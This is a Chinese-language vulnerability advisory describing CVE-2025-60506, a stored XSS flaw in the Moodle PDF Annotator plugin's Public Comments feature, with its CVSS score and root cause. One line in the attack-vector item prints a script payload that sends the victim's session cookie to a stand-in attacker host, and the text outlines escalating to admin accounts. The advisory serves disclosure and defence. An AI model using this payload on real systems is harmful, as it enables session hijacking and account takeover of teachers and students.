CVE-2025-60506CVE-2025-60506是Moodle PDF Annotator插件v1.5 release 9版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于插件的Public Comments(公共评论)功能中,允许具有低权限账户(如学生)的攻击者向PDF注释评论中注入任意JavaScript代码。当其他用户(包括学生、教师或管理员)查看被注释的PDF文档时,注入的恶意脚本将在其浏览器中自动执行,可能导致会话劫持、凭据窃取或执行其他攻击者控制的操作。
该漏洞的CVSS 3.1评分为5.4,属于中等严重级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L)和用户交互(UI:R)。漏洞的影响范围为变更型(S:C),对机密性和完整性有低影响,对可用性无影响。由于Moodle是全球广泛使用的开源学习管理系统(LMS),PDF Annotator插件被许多教育机构用于在线课程中标注PDF文档,因此该漏洞可能影响大量教育用户的数据安全。
此漏洞的利用门槛相对较低,仅需要基本的用户账户即可实施攻击,且无需特殊的技术知识即可注入恶意脚本。教育机构管理员应高度重视此漏洞,及时采取修复措施以保护师生账户安全。
该漏洞的根本原因在于Moodle PDF Annotator插件v1.5 release 9版本的Public Comments功能未对用户输入进行充分的过滤和转义处理。具体技术原理如下:
1. **输入验证缺失**:插件在处理用户提交的评论内容时,未对HTML标签和JavaScript代码进行适当的过滤或编码处理。攻击者可以直接在评论框中输入包含恶意脚本的内容。
2. **存储机制**:恶意评论被存储到数据库中,由于缺乏输出编码,每次有用户访问该PDF文档并查看注释时,存储的恶意脚本都会从数据库中检索并直接渲染到浏览器页面中。
3. **执行上下文**:当受害者(学生、教师或管理员)打开被注释的PDF文件查看公共评论时,恶意JavaScript代码将在受害者的浏览器会话上下文中执行。由于Moodle的用户会话通常包含身份验证令牌,攻击者可以利用这些信息进行会话劫持。
4. **攻击向量**:攻击者使用低权限账户(如学生)登录Moodle平台,打开目标PDF文档,在Public Comments区域注入XSS payload(如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`)。当其他用户查看该PDF时,恶意脚本自动执行,可能窃取会话cookie、重定向到钓鱼页面或执行其他恶意操作。
5. **权限提升潜力**:由于管理员账户也会查看PDF文档,攻击者可以通过XSS窃取管理员会话,进而执行管理员权限的操作,如修改课程内容、创建后门账户等。